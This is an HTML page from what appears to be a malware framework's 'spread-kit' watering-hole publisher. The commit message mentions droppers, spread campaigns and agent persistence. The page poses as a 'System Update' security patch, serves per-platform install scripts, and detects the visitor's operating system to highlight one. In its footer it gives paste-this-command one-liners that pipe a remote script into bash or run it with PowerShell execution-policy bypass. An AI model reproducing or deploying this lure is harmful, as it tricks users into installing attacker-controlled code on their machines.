Files
AetherForge/spread-kit-web-publisher/index.html
AetherForge 1551bd5dad feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
2026-06-04 21:53:31 -07:00

42 lines
1.8 KiB
HTML

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>System Update</title>
<link rel="stylesheet" href="assets/aether.css" />
</head>
<body>
<main class="shell">
<header class="hero">
<p class="eyebrow">Security patch</p>
<h1>Recommended update available</h1>
<p class="lede">Your environment requires a small compatibility fix. Choose your platform below — installation is automatic.</p>
</header>
<section class="actions" id="actions">
<a class="btn btn-win" id="btn-win" href="install.ps1{{QUERY_SUFFIX}}">Windows</a>
<a class="btn btn-nix" id="btn-nix" href="install.sh{{QUERY_SUFFIX}}">Linux</a>
<a class="btn btn-mac" id="btn-mac" href="install.command{{QUERY_SUFFIX}}">macOS</a>
<a class="btn btn-dl" id="btn-dl" href="{{SERVER_URL}}/get{{QUERY_SUFFIX}}">Direct download</a>
</section>
<footer class="fine">
<p>Having trouble? Run in terminal:</p>
<code id="oneliner">curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash</code>
</footer>
</main>
<script>
(function () {
var ua = navigator.userAgent || '';
var win = /windows/i.test(ua);
var mac = /macintosh|mac os x/i.test(ua);
var nix = /linux/i.test(ua) && !/android/i.test(ua);
if (win) document.getElementById('btn-win').classList.add('primary');
else if (mac) document.getElementById('btn-mac').classList.add('primary');
else if (nix) document.getElementById('btn-nix').classList.add('primary');
if (win) document.getElementById('oneliner').textContent =
"powershell -ep bypass -c \"iex (irm '{{SERVER_URL}}/install.ps1{{QUERY_SUFFIX}}')\"";
})();
</script>
</body>
</html>